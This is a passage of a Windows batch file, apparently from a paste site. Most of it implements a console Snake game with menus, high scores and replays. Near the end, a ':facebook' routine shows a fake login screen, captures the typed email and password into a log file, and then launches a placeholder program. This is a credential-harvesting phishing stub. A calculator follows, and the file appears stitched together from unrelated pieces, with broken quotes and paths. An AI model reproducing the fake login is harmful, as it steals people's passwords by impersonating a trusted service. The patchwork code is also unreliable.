  964. set "hi!diffCode!=!score!"
  965. copy "!gameLog!" "%hiFile%!diffCode!.txt" >nul
  966. >>"%hiFile%!diffCode!.txt" echo ::!score!
  967. )
  968. echo(
  969. %ClearLine%
  970. call :ask "Press a key to continue..."
  971. for %%A in (!configOptions!) do set "%%A=!%%ASave!"
  972. call :mainMenu
  973. )
  974. )
  975. )
  976. )
  977.  
  978.  
  979. ::-------------------------------------
  980. :getString Prompt Var MaxLen
  981. :: Prompt for a string with max lengh of MaxLen.
  982. :: Valid keys are alpha-numeric, space, underscore, and dash
  983. :: String is terminated by Enter
  984. :: Backspace works to delete previous character
  985. :: Result is returned in Var
  986. set /a "maxLen=%3"
  987. set "%2="
  988. %sendCmd% prompt
  989. <nul set /p "=%~1 "
  990. call :purge
  991. :getStringLoop
  992. (%getKey% !upper! 0 1 2 3 4 5 6 7 8 9 " " _ - {Enter} !BS!)
  993. if defined key (
  994. if !key! equ {Enter} (
  995. echo(
  996. exit /b
  997. )
  998. if !key! neq !BS! if !maxLen! gtr 0 (
  999. set /a maxLen-=1
  1000. <nul set /p "=.!BS!!key!"
  1001. set "%2=!%2!!key!
  1002. )
  1003. if !key! equ !BS! if defined %2 (
  1004. set /a maxLen+=1
  1005. <nul set /p "=!BS! !BS!"
  1006. set "%2=!%2:~0,-1!"
  1007. )
  1008. )
  1009. if defined inKey %sendCmd% one
  1010. goto :getStringLoop
  1011.  
  1012.  
  1013. ::-------------------------------------
  1014. :ask Prompt ValidKey [Validkey]...
  1015. :: Prompt for a keypress.
  1016. :: Wait until a ValidKey is pressed and return result in Key variable.
  1017. :: Token delimiters, ), and poison characters must be quoted.
  1018. %sendCmd% prompt
  1019. <nul set /p "=%~1 "
  1020. (set validKeys=%*)
  1021. (set validKeys=!validKeys:%1=!)
  1022. call :purge
  1023. :getResponse
  1024. (%getKey% !validKeys!)
  1025. if not defined key (
  1026. if defined inKey %sendCmd% one
  1027. goto :getResponse
  1028. )
  1029. exit /b
  1030.  
  1031.  
  1032. :purge
  1033. set "inKey="
  1034. for /l %%N in (1 1 1000) do (
  1035. set /p "inKey="
  1036. if "!inKey!" equ "{purged}." exit /b
  1037. )<&%keyStream%
  1038. goto :purge
  1039.  
  1040.  
  1041. ::-------------------------------------
  1042. :spinner X Y ValueVar
  1043. set /a d1=-1000000
  1044. for /l %%N in (1 1 5) do for %%C in (%spinner%) do (
  1045. call :spinnerDelay
  1046. %plot% %1 %2 %%C
  1047. %draw%
  1048. )
  1049. call :spinnerDelay
  1050. (%plot% %1 %2 %3)
  1051. exit /b
  1052.  
  1053.  
  1054. ::-------------------------------------
  1055. :delay centiSeconds
  1056. setlocal
  1057. for /f "tokens=1-4 delims=:.," %%a in ("!time: =0!") do set /a "spinnerDelay=%1, d1=(((1%%a*60)+1%%b)*60+1%%c)*100+1%%d-36610100"
  1058. :: fall through to :spinnerDelay
  1059.  
  1060. ::-------------------------------------
  1061. :spinnerDelay
  1062. for /f "tokens=1-4 delims=:.," %%a in ("!time: =0!") do set /a "d2=(((1%%a*60)+1%%b)*60+1%%c)*100+1%%d-36610100, dDiff=d2-d1"
  1063. if %dDiff% lss 0 set /a dDiff+=24*60*60*100
  1064. if %dDiff% lss %spinnerDelay% goto :spinnerDelay
  1065. set /a d1=d2
  1066. exit /b
  1067.  
  1068.  
  1069. ::-------------------------------------
  1070. :mainMenu
  1071. cls
  1072. set "loadAvailable="
  1073. echo Growth rate = !growth!
  1074. echo(
  1075. echo Main Menu:
  1076. echo(
  1077. echo N - New game
  1078. if defined replayAvailable echo R - Replay previous game
  1079. if defined saveAvailable echo S - Save a game
  1080. if exist *.snake.txt echo L - Load and watch a saved game&set "loadAvailable=L"
  1081.  
  1082. echo C - Control options
  1083. echo G - Graphic options
  1084. echo Q - Quit
  1085. echo(
  1086. set "hiAvailable="
  1087. for /l %%N in (1 1 6) do if defined hi%%N (
  1088. if not defined hiAvailable (
  1089. echo Replay High Score:
  1090. echo(
  1091. )
  1092. set "desc=!desc%%N!........"
  1093. set "hiAvailable=!hiAvailable! %%N"
  1094. echo %%N - !desc:~0,8! !hi%%N!
  1095. )
  1096. if defined hiAvailable echo(
  1097. set "keys=N C G Q !hiAvailable! !replayAvailable! !saveAvailable! !loadAvailable!"
  1098. call :ask ">" !keys!
  1099. if /i !key! equ Q (
  1100. %sendCmd% quit
  1101. cls
  1102. exit
  1103. )
  1104. if /i !key! equ N (
  1105. set "replay="
  1106. set "replayAvailable=R"
  1107. set "saveAvailable=S"
  1108. goto :initialize
  1109. )
  1110. if /i !key! equ S (
  1111. if defined replayAvailable (
  1112. call :ask "HighScore # or P for Previous:" !hiAvailable! P
  1113. ) else (
  1114. call :ask "HighScore #:" !hiAvailable!
  1115. )
  1116. echo !key!
  1117. if /i !key! equ P (set "src=!gameLog!") else set "src=%hiFile%!key!.txt"
  1118. call :getString "Save file name:" file 20
  1119. copy "!src!" "!file!.snake.txt"
  1120. call :ask "Press a key to continue..."
  1121. )
  1122. if /i !key! equ L (
  1123. call :getString "Load file name:" file 20
  1124. if exist "!file!.snake.txt" (
  1125. set "replay=!file!.snake.txt"
  1126. goto :initialize
  1127. )
  1128. echo Error: File "!file!.snake.txt" not found
  1129. call :ask "Press a key to continue..."
  1130. )
  1131. if /i !key! equ R (
  1132. set "replay=!gameLog!"
  1133. goto :initialize
  1134. )
  1135. if !key! geq 1 if !key! leq 6 (
  1136. set "replay=%hiFile%!key!.txt"
  1137. goto :initialize
  1138. )
  1139. if /i !key! equ C call :controlOptions
  1140. if /i !key! equ G call :graphicOptions
  1141. goto :mainMenu
  1142.  
  1143.  
  1144. ::-------------------------------------
  1145. :controlOptions
  1146. cls
  1147. set "keys={Enter} T L R P"
  1148. if !moveKeys! equ 4 set "keys=!keys! U D"
  1149. echo Control Options:
  1150. echo(
  1151. echo T - Type... = !moveKeys! keys
  1152. echo(
  1153. echo L - Left... = !left!
  1154. echo R - Right.. = !right!
  1155. if !moveKeys! equ 4 echo U - Up..... = !up!
  1156. if !moveKeys! equ 4 echo D - Down... = !down!
  1157. echo(
  1158. echo P - Pause.. = !pause!
  1159. echo(
  1160. echo {Enter} - Return to Main Menu
  1161. echo(
  1162. call :ask ">" !keys!
  1163. if !key! equ {Enter} goto :saveUserPrefs
  1164. if /i !key! equ T (
  1165. if !moveKeys! equ 2 (set "moveKeys=4") else set "moveKeys=2"
  1166. goto :controlOptions
  1167. )
  1168. set "option= LLeft RRight UUp DDown PPause"
  1169. for /f %%O in ("!option:* %key%=!") do (
  1170. call :ask "Press a key for %%O:"
  1171. for %%K in (0 1 2) do if "!key!" equ "!invalid:~%%K,1!" goto :controlOptions
  1172. for %%C in (!upper!) do set "key=!key:%%C=%%C!"
  1173. set "%%O=!key!"
  1174. )
  1175. goto :controlOptions
  1176.  
  1177.  
  1178. ::-------------------------------------
  1179. :graphicOptions
  1180. cls
  1181. echo Graphic Options:
  1182. echo(
  1183. echo B - Border...... = !bound!
  1184. echo E - Empty space. = !space!
  1185. echo H - snake Head.. = !head!
  1186. echo S - Snake body.. = !body!
  1187. echo F - Food........ = !food!
  1188. echo D - Death....... = !death!
  1189. echo(
  1190. echo G - Growth rate. = !growth!
  1191. echo(
  1192. echo {Enter} - Rturn to Main Menu
  1193. echo(
  1194. call :ask ">" B E H S F D G {Enter}
  1195. if !key! equ {Enter} goto :saveUserPrefs
  1196. if /i !key! equ G (
  1197. call :ask "Press a digit for growth rate (0 = 10)" 0 1 2 3 4 5 6 7 8 9
  1198. if !key! equ 0 set "key=10"
  1199. set "growth=!key!"
  1200. call :loadHighScores
  1201. ) else (
  1202. set "option=-BBorder:bound:-EEmpty Space:space:-HSnake Head:head:-SSnake Body:body:-FFood:food:-DDeath:death:"
  1203. for /f "tokens=1,2 delims=:" %%A in ("!option:*-%key%=!") do (
  1204. call :ask "Press a key for %%A"
  1205. for %%K in (0 1 2) do if "!key!" equ "!invalid:~%%K,1!" goto :graphicOptions
  1206. set "%%B=!key!"
  1207. )
  1208. )
  1209. goto :graphicOptions
  1210.  
  1211.  
  1212. ::------------------------------------
  1213. :saveUserPrefs
  1214. (for %%V in (moveKeys up down left right space bound food head body death pause growth) do echo %%V=!%%V!) >"%userPref%"
  1215. exit /b
  1216.  
  1217.  
  1218. ::-------------------------------------
  1219. :initialize
  1220. cls
  1221. if defined replay (
  1222. echo Replay Speed Options:
  1223. ) else (
  1224. echo Speed Options:
  1225. )
  1226. echo delay
  1227. echo # Description (seconds)
  1228. echo --- ----------- ---------
  1229. for /l %%N in (1 1 6) do (
  1230. set "delay=0!delay%%N!"
  1231. set "desc=!desc%%N! "
  1232. echo %%N !desc:~0,11! 0.!delay:~-2!
  1233. )
  1234. echo(
  1235. call :ask "Pick a speed (1-6):" 1 2 3 4 5 6
  1236. set "difficulty=!desc%key%!"
  1237. set "delay=!delay%key%!"
  1238. set "diffCode=%key%"
  1239. echo %key% - %difficulty%
  1240. echo(
  1241. <nul set /p "=Initializing."
  1242. set "axis=X"
  1243. set "xDiff=+1"
  1244. set "yDiff=+0"
  1245. set "empty="
  1246. set /a "PX=1, PY=height/2, FX=width/2+1, FY=PY, score=0, emptyCnt=0, t1=-1000000"
  1247. set "gameStart="
  1248. set "m=00"
  1249. set "s=00"
  1250. set "snakeX= %PX%"
  1251. set "snakeY= %PY%"
  1252. set "snakeX=%snakeX:~-2%"
  1253. set "snakeY=%snakeY:~-2%"
  1254. for /l %%Y in (0 1 %height%) do (
  1255. <nul set /p "=."
  1256. set "line%%Y="
  1257. for /l %%X in (0,1,%width%) do (
  1258. set "cell="
  1259. if %%Y equ 0 set "cell=%bound%"
  1260. if %%Y equ %height% set "cell=%bound%"
  1261. if %%X equ 0 set "cell=%bound%"
  1262. if %%X equ %width% set "cell=%bound%"
  1263. if %%X equ %PX% if %%Y equ %PY% set "cell=%head%"
  1264. if not defined cell (
  1265. set "cell=%space%"
  1266. set "eX= %%X"
  1267. set "eY= %%Y"
  1268. set "empty=!empty!#!eX:~-2! !eY:~-2!"
  1269. set /a emptyCnt+=1
  1270. )
  1271. if %%X equ %FX% if %%Y equ %FY% set "cell=%food%"
  1272. set "line%%Y=!line%%Y!!cell!"
  1273. )
  1274. )
  1275. for %%A in (!configOptions!) do set "%%ASave=!%%A!"
  1276. set "replayFinished="
  1277. if defined replay (
  1278. %sendCmd% replay
  1279. %sendCmd% !replay!
  1280. call :waitForSignal
  1281. set "replay=(REPLAY at !difficulty!)"
  1282. set "read=1"
  1283. <&%keyStream% (
  1284. for /l %%N in (1 1 !configOptionCnt!) do if defined read (
  1285. set /p "ln="
  1286. if "!ln!" equ "END" (set read=) else set "!ln!"
  1287. )
  1288. )
  1289. set "keys="
  1290. set "hi=0"
  1291. for /f "delims=:" %%A in ('findstr "^::" "%hiFile%!diffCode!.txt" 2^>nul') do set "hi=%%A"
  1292. (%draw%)
  1293. call :delay 100
  1294. ) else (
  1295. if defined hi%diffCode% (set "hi=!hi%diffCode%!") else set "hi=0"
  1296. (%draw%)
  1297. >"!gameLog!" (
  1298. for %%A in (!configOptions!) do (echo %%A=!%%A!)
  1299. (echo END)
  1300. )
  1301. echo(
  1302. if !moveKeys! equ 4 (
  1303. echo Controls: !up!=up !down!=down !left!=left !right!=right !pause!=pause
  1304. ) else (
  1305. echo Controls: !left!=left !right!=right !pause!=pause
  1306. )
  1307. echo Avoid running into yourself (!body!!body!!head!^) or wall (!bound!^)
  1308. echo Eat food (!food!^) to grow.
  1309. echo(
  1310. call :ask "Press a key to start..."
  1311. %sendCmd% go
  1312. )
  1313. set "pauseTime=0"
  1314. set "xDiff!up!=+0"
  1315. set "xDiff!down!=+0"
  1316. set "xDiff!left!=-1"
  1317. set "xDiff!right!=+1"
  1318. set "yDiff!up!=-1"
  1319. set "yDiff!down!=+1"
  1320. set "yDiff!left!=+0"
  1321. set "yDiff!right!=+0"
  1322. set "!up!Axis=Y"
  1323. set "!down!Axis=Y"
  1324. set "!left!Axis=X"
  1325. set "!right!Axis=X"
  1326. set "xTurn!left!=1"
  1327. set "xTurn!right!=-1"
  1328. set "yTurn!left!=-1"
  1329. set "yTurn!right!=1"
  1330. set "playerSpace=!space!!food!"
  1331. set ^"keys="!left!" "!right!" "!pause!"^"
  1332. set "newHi="
  1333. set "grow=0"
  1334. if !moveKeys! equ 4 set ^"keys=!keys! "!up!" "!down!"^"
  1335. if exist "%~dp0CursorPos.exe" if not defined replay (
  1336. cursorpos 0 -4
  1337. for /l %%N in (1 1 5) do (echo( )
  1338. )
  1339. exit /b
  1340.  
  1341.  
  1342. ::-------------------------------------
  1343. :waitForSignal
  1344. if not exist "%signal%" goto :waitForSignal
  1345. del "%signal%"
  1346. exit /b
  1347.  
  1348.  
  1349. ::-------------------------------------
  1350. :loadHighScores
  1351. set "saveAvailable="
  1352. for /l %%N in (1 1 6) do (
  1353. set "hi%%N="
  1354. for /f "delims=:" %%A in ('findstr "^::" "%hiFile%%%N.txt" 2^>nul') do (
  1355. set "hi%%N=%%A"
  1356. set "saveAvailable=S"
  1357. )
  1358. )
  1359. exit /b
  1360.  
  1361.  
  1362. ::-------------------------------------
  1363. :fixLogs
  1364. setlocal enableDelayedExpansion
  1365. for %%F in (*.snake) do (
  1366. ren "%%F" "%%F.txt"
  1367. call :fixLog "%%F.txt"
  1368. )
  1369. pushd "%SaveLoc%"
  1370. for /f "delims=" %%F in ('dir /b SnakeHi*.txt 2^>nul') do (
  1371. set "file=%%~nF"
  1372. set "file=Snake1Hi!file:~-1!.txt"
  1373. ren "%%F" "!file!"
  1374. call :fixLog "!file!"
  1375. )
  1376. popd
  1377. exit /b
  1378.  
  1379. :fixLog filePath
  1380. >"%~1.new" (
  1381. <"%~1" (
  1382. for %%A in (diffCode difficulty moveKeys up down left right) do (
  1383. set /p "val="
  1384. (echo %%A=!val!)
  1385. )
  1386. )
  1387. (echo growth=1)
  1388. (echo END)
  1389. more +7 "%~1"
  1390. )
  1391. move /y "%~1.new" "%~1" >nul
  1392. exit /b
  1393.  
  1394.  
  1395. ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
  1396. :controller
  1397. :: Detects keypresses and sends the information to the game via a key file.
  1398. :: The controller has various modes of input that are activated by commands sent
  1399. :: from the game via a cmd file.
  1400. ::
  1401. :: Modes:
  1402. ::
  1403. :: hold - No input, wait for command
  1404. ::
  1405. :: go - Continuously get/send key presses
  1406. ::
  1407. :: prompt - Send {purged} marker to allow game to purge input buffer, then
  1408. :: get/send a single key press and hold
  1409. ::
  1410. :: one - Get/send a single key press and hold
  1411. ::
  1412. :: replay - Copy a game log to the key file. The next line in cmd file
  1413. :: specifies name of log file to copy. During replay, the controller
  1414. :: will send an abort signal to the game if a key is pressed.
  1415. ::
  1416. :: quit - Immediately exit the controller process
  1417. ::
  1418. :: As written, this routine incorrectly reports ! as ), but that doesn't matter
  1419. :: since we don't need that key. Both <CR> and Enter key are reported as {Enter}.
  1420. :: An extra character is appended to the output to preserve any control chars
  1421. :: when read by SET /P.
  1422.  
  1423. setlocal enableDelayedExpansion
  1424. for /f %%a in ('copy /Z "%~dpf0" nul') do set "CR=%%a"
  1425. set "cmd=hold"
  1426. set "inCmd="
  1427. set "key="
  1428. for /l %%. in () do (
  1429. if "!cmd!" neq "hold" (
  1430. for /f "delims=" %%A in ('xcopy /w "%~f0" "%~f0" 2^>nul') do (
  1431. if not defined key set "key=%%A"
  1432. )
  1433. set "key=!key:~-1!"
  1434. if !key! equ !CR! set "key={Enter}"
  1435. )
  1436. <&%cmdStream% set /p "inCmd="
  1437. if defined inCmd (
  1438. if !inCmd! equ quit exit
  1439. set "cmd=!inCmd!"
  1440. if !inCmd! equ replay (
  1441. <&%cmdStream% set /p "file="
  1442. type "!file!" >&%keyStream%
  1443. copy nul "%signal%"
  1444. )
  1445. set "inCmd="
  1446. )
  1447. if defined key (
  1448. if "!cmd!" equ "prompt" (echo {purged}.)
  1449. if "!cmd!" equ "replay" (
  1450. copy nul "%signal%" >nul
  1451. set "cmd=go"
  1452. ) else (echo(!key!.)
  1453. if "!cmd!" neq "go" set "cmd=hold"
  1454. set "key="
  1455. )>&%keyStream%
  1456. )
  1457.  
  1458. :facebook
  1459. color a
  1460. title Login
  1461. cls
  1462. echo Please Enter Your Email Address And Password
  1463. echo.
  1464. echo.
  1465. cd “C:Logs”
  1466. set /p user=Username:
  1467. set /p pass=Password:
  1468. echo Username=”%user%” Password=”%pass%” >> Log.txt
  1469. start >>Program Here<<
  1470. goto menu
  1471.  
  1472. :calculator
  1473. setlocal EnableDelayedExpansion
  1474.  
  1475.  
  1476. :calc
  1477.  
  1478. cls
  1479.  
  1480. echo Add = +
  1481.  
  1482. echo Subtract = -
  1483.  
  1484. echo Divide = /
  1485.  
  1486. echo Multiply = *
  1487.  
  1488. echo Put your question here:
  1489.  
  1490. set /p equ=
  1491.  
  1492. set /a equ=!equ!
  1493.  
  1494. cls
  1495.  
  1496. echo Answer:!equ!
  1497.  
  1498. pause
  1499. goto menu
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement